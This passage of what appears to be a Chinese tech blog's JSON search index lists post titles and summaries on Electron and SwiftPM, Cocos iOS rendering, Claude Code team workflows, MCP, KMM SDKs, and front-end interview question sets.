SDK 不是一回事：Web SDK 更轻，TRTC Native SDK 则给了更完整的原生能力。\nSwiftPM 是 Swift Package Manager，也就是 Swift 的包管理和构建工具。它不只是“装依赖”，还负责描述 target、平台条件、二进制产物和构建关系，所以很适合拿来组织 Swift、C、C++ 和 …","title":"Electron 中使用 SwiftPM 构建跨平台 TRTC Native Addon"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/cocosengine-ios-rendering/","summary":"Cocos 引擎 iOS 渲染管线深度解析：从 CADisplayLink 到屏幕呈现 引言 在移动端图形开发中，理解渲染管线的底层实现是走向高级工程师的必经之路。Cocos Creator 作为主流的跨平台游戏引擎，其 iOS Metal 后端的渲染实现采用了现代化的 FrameGraph 架构，结合脏状态追踪、资源池化等优化手段，是一份极佳的学习样本。\n本文基于对 Cocos 引擎 gfx-metal 模块的源码分析，梳理从 CADisplayLink 帧回调触发到最终 GPU 呈现的完整渲染链路，并深入解读各阶段的关键实现细节。\n整体架构概览 在深入时序之前,先理清核心模块的职责分工： …","title":"Cocos 引擎 iOS 渲染管线深度解析：从 CADisplayLink 到屏幕呈现"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/osc-practice-landing/","summary":"一、背景：团队在 AI 辅助开发中的痛点 随着 Claude Code / CodeBuddy 等 AI 编程助手的普及，腾讯体育团队在日常开发中逐渐积累了大量与 AI 协作的经验。但在推广过程中，我们发现了几个反复出现的问题：\n1. 重复解释团队上下文\n每位同学使用 AI 时，都需要反复告诉它：\u0026amp;ldquo;我们的路由怎么跳转\u0026amp;rdquo;、\u0026amp;ldquo;我们的架构层级是什么\u0026amp;rdquo;、\u0026amp;ldquo;Commit 格式应该怎么写\u0026amp;rdquo;。这些团队共有的知识，每次都要重新解释。\n2. 有效方案无法沉淀复用\n某位同学花了一下午和 Claude 反复沟通，终于摸索出某类问题的可靠解决方案 …","title":"腾讯体育 Vibe Coding 实践：基于 Claude Code 的团队 AI 工作流框架落地"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/mcp/","summary":"Function Calling 2.1 要解决的问题 传统聊天大模型只会说话，没有工具调用能力，这使得大模型：\n无法感知环境：无法与外部数据源交互，如通过 API 查询网页、查看用户本地文件、访问远程数据库等等 无法改变环境：无法帮用户实际执行任务，如跑代码、发邮件、上传作业等 2.2 如何解决问题 后端 + LLM 传统方案 工作流程 存在的问题 是否调用工具、调用什么工具由后端负责判断，逻辑复杂且容易误判。 AI 这么智能，为什么不让它来帮我判断？ 调用工具的参数由后端负责构建，难度很大。 AI 这么智能，为什么不让它来帮我生成参数？ 广义的 Function Calling 是指让大模 …","title":"AITools"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/kmmaireadpractice/","summary":"阅读导航（建议先看） 如果你是第一次接触这套 SDK，建议按下面顺序读：\n先看 2 章：理解 commonMain 与双端 actual 的职责边界； 再看 5~6 章：把“主流程 + 双端播放器实现”串起来； 最后看 10 章：按需查 Debug 手册，不必一次读完。 如果你只想快速建立整体认知，优先看 0 + 5 + 9 + 12 四节即可。\n0. 这篇写什么 这篇不再重复 KMM 概念，而是聚焦一件事：AIRead 这套 KMM SDK 在工程上到底怎么跑起来。\n会重点回答四个问题：\n工程目录怎么分层； 核心 API 给了什么能力； 从 start(contentId, …","title":"AIRead 实战拆解：KMM 语音播报 SDK 从 start 到双端播放链路"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/kmm/","summary":"阅读导航（建议先看） 这篇文章信息量很大，建议按下面顺序读：\n先读 0 章：把 KMM、LLVM/IR、KuiklyBase-kotlin 的关系建立起来。 再读 2 章：看 ovCompose 在 iOS 上如何解决混排与性能问题（重点是 2.4）。 最后读 3 章：看 ovCompose 在鸿蒙上的架构补齐与落地结果。 如果你时间有限，可以先看每章的小结段，再回到细节表格和时序图。\n0. 什么是 KMM KMM（Kotlin Multiplatform Mobile） 是 JetBrains 推出的跨端代码复用方案：共享业务逻辑，不共享 UI。它的核心价值不是“写一套 UI 到处跑”，而是 …","title":"KMM 跨平台落地：从基础认知到 ovCompose iOS/鸿蒙实践"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/pchelper/","summary":"背景介绍 腾讯体育的个人直播业务中，主播开启比赛陪看直播一直仅支持移动端开播。然而，移动端开播存在屏幕尺寸过小、摄像头拍摄角度受限等问题，严重影响了主播的解说体验。为了提升主播在比赛解说场景下的使用体验，同时降低使用 OBS 进行运营的人力成本，我们决定在腾讯视频 PC 开播助手的基础上进行迭代开发，新增对腾讯体育比赛陪看功能的支持。\n选择陪看比赛界面： 陪看解说画面： 从零开发一款 PC 开播软件的成本较高。幸运的是，腾讯视频已经拥有一款成熟的 PC 开播助手，用于支持主播或艺人在 PC 端进行直播。虽然当时该产品尚不支持陪看直播功能，但我们可以在其基础上进行二次开发：接入腾讯体育的账号体系 …","title":"PCHelper"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/agent/","summary":"共 119 道 Agent 面试题。答案默认折叠，便于先自行作答。\n1. 如何设计一个企业级 AI Agent 平台？ 难度：3.5 · 类型：QA\n题目要点 企业级 AI Agent 平台的设计重点不是“接一个大模型接口”，而是围绕业务任务构建完整体系：前端提供可解释、可配置、可监控的交互体验；中间层负责 Agent 编排、工具调用和知识增强；底层统一管理模型、数据和企业系统；治理层保障权限、安全、审计、评测和成本控制。真正可落地的平台，一定是在智能能力和工程确定性之间取得平衡。\n参考答案 企业级 AI Agent 平台不能只设计成一个“聊天入口”，更应该设计成一个可治理、可扩展、可观测的智 …","title":"Agent 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-26-b14403bc/","summary":"共 43 道 AI相关 面试题。答案默认折叠，便于先自行作答。\n1. 如何实现 ChatGPT 类似的流式输出？ 难度：1.5 · 类型：QA\n题目要点 流式输出的核心是服务端通过 SSE、fetch stream 或 WebSocket 持续返回增量内容，前端通过 ReadableStream 边读边渲染。实现时要注意网络 chunk 不等于完整消息，需要做缓冲和协议解析。前端渲染要做节流，避免频繁状态更新导致卡顿。Agent 场景下建议使用结构化事件协议，把文本增量、工具调用、状态、错误、完成信号分开处理。最后还要支持取消、错误恢复、最终 Markdown 校正和滚动体验，才能达到接近 …","title":"AI相关 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/css/","summary":"共 114 道 CSS 面试题。答案默认折叠，便于先自行作答。\n1. Tailwind 的响应式断点（如 md:）底层如何实现？ 难度：2 · 类型：QA\n题目要点 Tailwind 的响应式断点基于构建期的变体系统实现。md: 在编译阶段被解析为 screen 变体，并根据 screens 配置生成对应的 @media (min-width) 包裹规则。所有响应式逻辑依赖原生 CSS media query，遵循 mobile-first 原则，通过规则生成管线支持多变体组合，不涉及运行时计算。\n参考答案 这个问题的关键在于理解： md: 不是运行时逻辑，而是 构建期的变体（variant） …","title":"CSS 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/es6/","summary":"共 51 道 ES6 面试题。答案默认折叠，便于先自行作答。\n1. 说说 Class 语法糖的底层实现 难度：3 · 类型：QA\n题目要点 class 是基于函数构造器和原型链的语法封装，实例方法本质挂载在 prototype 上，继承通过 Object.create 构建原型链，同时通过构造函数原型链继承静态方法。super 依赖内部 [[HomeObject]] 机制定位父类方法。class 并未引入新的对象模型，而是在原型继承基础上增加语义约束与语法增强。\n参考答案 这个问题的关键在于理解：class 并不是一种新的面向对象机制，而是对 原型继承（prototype-based …","title":"ES6 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/html/","summary":"共 77 道 HTML 面试题。答案默认折叠，便于先自行作答。\n1. SPA和MPA的区别？ 难度：1 · 类型：QA\n题目要点 SPA 通过前端路由在单一 HTML 中完成页面切换，交互流畅但首屏和 SEO 成本较高；MPA 每次导航请求新页面，SEO 友好且隔离性强，但交互体验有限；两者本质差异在于前后端渲染与路由职责的划分；现代项目常通过 SSR、SSG 等方式在两种模式之间折中。\n参考答案 SPA 和 MPA 的区别，表面看是“页面跳转方式不同”，本质上是前端与服务器在渲染职责、路由控制以及资源加载策略上的分工差异。理解这一点，才能在具体业务中做出合理选择。\nSPA（Single …","title":"HTML 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/javascript/","summary":"共 407 道 JavaScript 面试题。答案默认折叠，便于先自行作答。\n1. requestAnimationFrame 与 requestIdleCallback 在渲染优化中的执行时机差异？谁优先触发？ 难度：3 · 类型：QA\n题目要点 requestAnimationFrame 在浏览器即将进行下一帧渲染之前执行，用于动画与视觉更新，优先级高于渲染阶段后的任务。requestIdleCallback 只会在当前帧所有渲染任务完成且仍有剩余时间时触发，属于低优先级空闲调度机制。因此在同一帧中，rAF 必然先于 rIC 执行。rAF 用于保证帧同步，rIC 用于利用空闲时间执行非关键 …","title":"JavaScript 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/leetcode/","summary":"共 38 道 leetcode 面试题。答案默认折叠，便于先自行作答。\n1. 最大公共前缀 难度：2 · 类型：QA\n编写一个函数，接收一个字符串数组作为输入，找出这些字符串的最大公共前缀。如果没有公共前缀，则返回空字符串。\n输入输出要求：\n输入：一个字符串数组。 输出：一个字符串，表示最大公共前缀。 示例：\nconst input = [\u0026amp;#34;flower\u0026amp;#34;, \u0026amp;#34;flow\u0026amp;#34;, \u0026amp;#34;flight\u0026amp;#34;]; const result = longestCommonPrefix(input); console.log(result); // 输出 …","title":"leetcode 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/nodejs/","summary":"共 40 道 Node.js 面试题。答案默认折叠，便于先自行作答。\n1. NestJs、Nust.js、Next.js 这几个框架有什么区别 难度：2 · 类型：QA\n题目要点 NestJS 是 Node.js 的企业级服务端框架，强调模块化、依赖注入和 TypeScript，适合构建 API 和微服务； Nuxt.js 是 Vue 生态的全栈框架，在 Vue 基础上提供 SSR、SSG、文件路由等能力； Next.js 是 React 生态的全栈框架，除了 SSR、SSG 外，还支持 React Server Components、Server Actions 等现代特性。 三者最大的区别 …","title":"Node.js 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/react/","summary":"共 148 道 React.js 面试题。答案默认折叠，便于先自行作答。\n1. 说说 Hooks 的依赖数组原理 难度：3 · 类型：QA\n题目要点 Hooks 的依赖数组本质是一次浅层引用比较机制。React 在 commit 阶段通过 Object.is 逐项比较新旧依赖数组，决定是否重新执行 effect，并在变化时先执行 cleanup。依赖数组不会监听变量变化，也不负责触发 render，只用于声明副作用与状态之间的关系。依赖缺失会导致闭包捕获旧值，依赖不稳定会导致 effect 频繁执行，因此依赖必须完整且保持引用稳定。\n参考答案 这个问题的核心，不是“依赖数组怎么写”，而是 …","title":"React.js 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/typescript/","summary":"共 61 道 Typescript 面试题。答案默认折叠，便于先自行作答。\n1. 如何管理和优化 tsconfig？ 难度：3 · 类型：QA\n题目要点 tsconfig 应被视为工程规范而非临时配置；通过分层与继承降低维护成本；类型严格性需要渐进式收紧而非一次性激进开启；合理控制编译范围以优化性能；在复杂工程中利用 tsconfig 约束依赖边界，使类型系统服务于长期可维护性。\n参考答案 tsconfig 的管理与优化，本质上是在类型安全、开发体验与工程效率之间做长期平衡。它并不是一次性配置文件，而是随着项目规模、团队协作方式和构建体系不断演进的工程资产。\n首先需要明确 tsconfig 在 …","title":"Typescript 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/vue/","summary":"共 123 道 Vue.js 面试题。答案默认折叠，便于先自行作答。\n1. 为何setup()中直接解构props会丢失响应性？ 难度：2 · 类型：QA\n题目要点 setup 中直接解构 props 会丢失响应性，是因为解构会把属性值拷贝为普通变量，打断了与 props Proxy 的引用关系，导致 Vue 无法进行依赖收集。正确做法是直接使用 props.xxx，或通过 toRefs / toRef 将属性转换为保持响应性的 ref。\n参考答案 在 Vue 3 中，setup() 里直接解构 props 会丢失响应性，根本原因在于：响应式是依赖引用关系实现的，而解构会打断这种引用关系。\n下 …","title":"Vue.js 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/about/","summary":"你好，我是 AmatsuZero 👋 本科学的英语笔译，曾经是个正经琢磨\u0026amp;quot;信达雅\u0026amp;quot;的人。毕业后、转行写代码之前，我在歌尔（Goertek）干过一阵子 CQA（Customer Quality Assurance，说人话约等于面向客户的技术售前）：一头对接代工厂、一头对接客户，日常工作基本就是在富士康和苹果之间反复横跳。\n2015 年我干了一件同行不太理解的事：把 CAT 翻译工具换成了 Xcode，从此人生主题从\u0026amp;quot;把英文译成中文\u0026amp;quot;无缝切换成了\u0026amp;quot;把想法翻译成代码\u0026amp;quot;。\n这一转就是十来年。我从左花括号右方括号的 Objective-C 里一 …","title":"关于我"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-12-28b9d64b/","summary":"共 35 道 前端安全 面试题。答案默认折叠，便于先自行作答。\n1. 如果发现JWT Token泄露，如何快速响应？ 难度：3 · 类型：QA\n题目要点 定位：确认泄露的是单个用户 Token 还是全局密钥。 拉黑：立即将泄露的 Token jti 加入 Redis 禁用名单。 阻断：如果是密钥泄露，立即更新环境变量中的 JWT_SECRET。 通知：提醒受影响用户，并建议其修改密码（以防攻击者通过其他渠道获取了账号控制权）。 审计：检查该 Token 泄露期间产生的异常操作日志，进行回滚或补偿。 参考答案 由于 JWT 是无状态的（服务器默认不存储 Token，无法像 Session 那样轻 …","title":"前端安全 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-25-b5d632a4/","summary":"共 84 道 场景题 面试题。答案默认折叠，便于先自行作答。\n1. 现在大模型已经能高效生成界面代码，有人认为前端会被AI颠覆，也有人认为这只是工具革新。你更倾向哪种观点？你认为前端未来3-5年真正的机会点或转型方向是什么？ 难度：3 · 类型：QA\n题目要点 更倾向于“工具革新”而非“彻底颠覆”；大模型替代的是低层实现工作，而前端正在向工程化、系统设计以及 AI 应用方向演进，未来机会集中在高阶工程能力与“前端 + AI”结合的领域。\n参考答案 更倾向于“工具革新”的判断，但需要补充一个前提：被替代的不是前端岗位，而是低抽象层的前端工作。大模型把“写代码”这一步极大压缩，但没有消解前端在系统 …","title":"场景题 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-14-68fba79b/","summary":"共 15 道 小程序 面试题。答案默认折叠，便于先自行作答。\n1. 小程序可以做哪些性能优化？ 难度：2 · 类型：QA\n题目要点 小程序性能优化围绕逻辑层与视图层分离架构展开，重点是减少 setData 频率与数据体积，控制列表节点数量，优化首包体积与启动链路，并通过分包加载、WXS 与懒加载等手段降低渲染压力。核心原则是减少跨线程通信与避免无意义重渲染，从架构层面解决性能瓶颈。\n参考答案 小程序的性能优化，不能只从“前端渲染”角度看。它的运行模型和 Web 不同，存在 逻辑层（JSCore）与视图层（WebView）分离 的架构特征，核心瓶颈往往出在：\n跨线程通信成本 setData 传输 …","title":"小程序 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-20-5ca6730d/","summary":"共 40 道 工具 面试题。答案默认折叠，便于先自行作答。\n1. 你了解 Git 的 Worktree 吗？ 难度：3 · 类型：QA\n题目要点 Git Worktree 允许多个工作目录共享同一个仓库对象库，从而同时检出多个分支，避免频繁 checkout 带来的上下文切换问题。其核心依赖 Git 的对象数据库与工作区分离设计，相比 clone 具有更低的磁盘与网络成本，适用于并行开发、hotfix、版本对比和 CI 场景，本质是同一仓库的多工作视图机制。\n参考答案 Git Worktree 是 Git 提供的一种 在同一个仓库中同时检出多个工作目录（working directory） 的 …","title":"工具 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-19-539fb4b4/","summary":"共 87 道 工程化 面试题。答案默认折叠，便于先自行作答。\n1. webpack 中的 Loader ，链式调用顺序会影响编译结果吗？ 难度：2 · 类型：QA\n题目要点 Webpack Loader 是一个按流水线执行的源码转换系统，Loader 的链式顺序直接决定源码被处理的阶段；配置顺序为从左到右，但执行顺序为从右到左，每个 Loader 都处理前一个 Loader 的输出，因此顺序错误会导致语义阶段错乱甚至编译失败；通常应遵循“靠近源码的 Loader 放右侧，靠近运行时的 Loader 放左侧”的原则，同时 Loader 还存在 pitch 与 normal 两阶段执行机制，使顺序 …","title":"工程化 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-11-50b3ce31/","summary":"共 52 道 性能优化 面试题。答案默认折叠，便于先自行作答。\n1. 响应式开发中，如何避免窗口大小监听导致的重排抖动？ 难度：2 · 类型：QA\n题目要点 响应式开发中 resize 导致抖动的本质原因是窗口变化会高频触发事件，从而反复触发布局计算。常见优化方式包括对 resize 事件进行节流或防抖以降低执行频率，避免在回调中混合 DOM 读写以减少强制同步布局，利用 requestAnimationFrame 控制更新时机，以及使用 ResizeObserver、媒体查询或容器查询等浏览器能力，让布局响应更多地交给浏览器完成，从而降低重排和重绘的成本。\n参考答案 在响应式开发中，如果直接 …","title":"性能优化 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-6-af84cfb6/","summary":"共 22 道 算法 面试题。答案默认折叠，便于先自行作答。\n1. 不重复最大子串 难度：2 · 类型：QA\n给定一个字符串，请实现一个函数来找到其中的不重复最大子串。例如，对于字符串\u0026amp;quot;abcabcbb\u0026amp;quot;，不重复最大子串是\u0026amp;quot;abc\u0026amp;quot;，长度为3。\n请写出实现该功能的代码，并说明其时间复杂度。 考虑到性能优化，你认为还有哪些改进空间？请提出优化思路并实现优化后的代码。 题目要点 滑动窗口 是解决最长不重复子串问题的核心思想。 Set 方法简单直观，但每遇到重复字符可能多次移动左指针。 Map 优化通过记录字符索引，直接跳过重复区域，减少不必要操作。 时间复杂度 …","title":"算法 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-17-98dde3d4/","summary":"共 136 道 编程题 面试题。答案默认折叠，便于先自行作答。\n1. 实现发布订阅模式 难度：2 · 类型：QA\n题目要点 发布订阅模式通过事件中心解耦消息发送者与接收者，核心实现是维护事件名与回调函数列表之间的映射关系。订阅阶段注册回调函数，发布阶段遍历执行所有监听函数，取消订阅则从列表中移除对应回调。工程实践中通常会扩展一次性订阅、事件隔离等能力，但在大型应用中需要避免滥用事件总线，以免造成事件链复杂和内存管理问题。\n参考答案 发布订阅模式（Publish–Subscribe Pattern）是一种典型的 消息通信模式。其核心思想是将消息的发送者（Publisher）与接收者 …","title":"编程题 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-21-e009ecee/","summary":"共 19 道 计算机基础 面试题。答案默认折叠，便于先自行作答。\n1. 进程、线程、协程分别是什么概念？ 难度：1 · 类型：QA\n题目要点 进程 是独立的资源分配单位，每个进程有自己的内存和资源。 线程 是进程中的执行单元，线程之间共享进程的资源，但每个线程有自己的执行栈。 协程 是一种用户级的轻量级线程，通过程序控制的方式在任务之间进行切换，适合需要高效并发的场景。 参考答案 进程、线程和协程是计算机程序设计中不同层次的执行单元，各自有不同的概念和特点。以下是它们的详细解释：\n1. 进程（Process） 概念：进程是操作系统分配资源的基本单位，是正在执行的程序的实例。每个进程都有自己的地 …","title":"计算机基础 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-7-38746af8/","summary":"共 104 道 计算机网络 面试题。答案默认折叠，便于先自行作答。\n1. 说说流式输出的原理及其应用场景 难度：3 · 类型：QA\n题目要点 流式输出的本质是将结果按时间拆分为连续数据流，实现边生成、边传输、边消费；它通过降低首字节时间和提升反馈及时性来改善用户体验；常见于大模型推理、长耗时任务、实时数据和媒体传输等场景；但同时也带来更高的工程复杂度，需要在体验收益与系统成本之间进行权衡。\n参考答案 流式输出并不是一种新的计算模型，而是一种结果传递与消费方式的改变：从“一次性生成、一次性返回”，变为“边生成、边传输、边消费”。理解它的关键，不在于某个具体 API，而在于数据生产方、传输层和消费 …","title":"计算机网络 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-18-1729148f/","summary":"共 7 道 设计模式 面试题。答案默认折叠，便于先自行作答。\n1. 开发的过程中你用到过哪些设计模式？ 难度：3 · 类型：QA\n题目要点 设计模式是一种被广泛接受并经过验证的面向对象软件开发中的最佳实践。它们提供了一套解决常见问题的可重用设计方案。\n参考答案 设计模式是一种被广泛接受并经过验证的面向对象软件开发中的最佳实践。它们提供了一套解决常见问题的可重用设计方案。\n以下是一些常用的设计模式：\n单例模式（Singleton）：确保一个类只有一个实例，并提供全局访问点来获取该实例。\n工厂模式（Factory）：通过工厂方法创建对象，而不是直接使用new操作符。这样可以隐藏具体实现，并根据需要 …","title":"设计模式 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-8-ff7de42b/","summary":"共 35 道 趣味题 面试题。答案默认折叠，便于先自行作答。\n1. 过桥问题 难度：2 · 类型：QA\n在一个夜晚，同时有4人需要过一桥，一次最多只能通过两个人，且只有一只手电筒，而且每人的速度不同。A，B，C，D需要时间分别为：1，2，5，10分钟。问：在17分钟内这四个人怎么过桥？\n题目要点 第一步：A、B过花时间2分钟。\n参考答案 第一步：A、B过花时间2分钟。\n第二步：B回花时间2分钟。\n第三步：C、D过花时间10分钟。\n第四步：A回花时间1分钟。\n第五步：A、B再过花时间2分钟。\n2. 圆环转圈问题 难度：2 · 类型：QA\n两个圆环，半径分别是1和2，小圆在大圆内部绕大圆圆周一周， …","title":"趣味题 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-24-88e618f1/","summary":"共 19 道 跨端技术 面试题。答案默认折叠，便于先自行作答。\n1. 跨平台的开发中，如何处理不同平台的 API 差异？ 难度：2 · 类型：QA\n题目要点 条件编译：在编译阶段，通过特定注释（如 // #ifdef MP-WEIXIN）来区分不同平台，编写差异化代码。\n适配器模式（Adapter Pattern）：在运行时，封装一个统一的工具类（Adapter），在内部判断环境并调用对应的原生 API。例如，封装一个 StorageAdapter，内部判断环境并分别调用 uni.setStorageSync 或浏览器的 localStorage，对业务代码提供统一的 Promise 接口 。 …","title":"跨端技术 面试题"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-23-18275a1e/","summary":"共 154 道 选择题 面试题。答案默认折叠，便于先自行作答。\n1. 对以下代码说法正确的是？ 难度：1 · 类型：Choice\nlet arr = [1,2,3,4,5]; let arr2 = [1, , 3]; A. 执行 arr.length = 3，此时数组为 [1,2,3] B. 执行 arr[10] = 11，此时 arr.length 为 6 C. 执行 delete arr[2]，此时 arr.length 为 4，数组为 [1,2,4,5] D. arr2.length 的长度为 2 题目要点 考察的是数组的length属性：\n参考答案 正确答案：A 考察的是数组的 …","title":"选择题 面试题"}]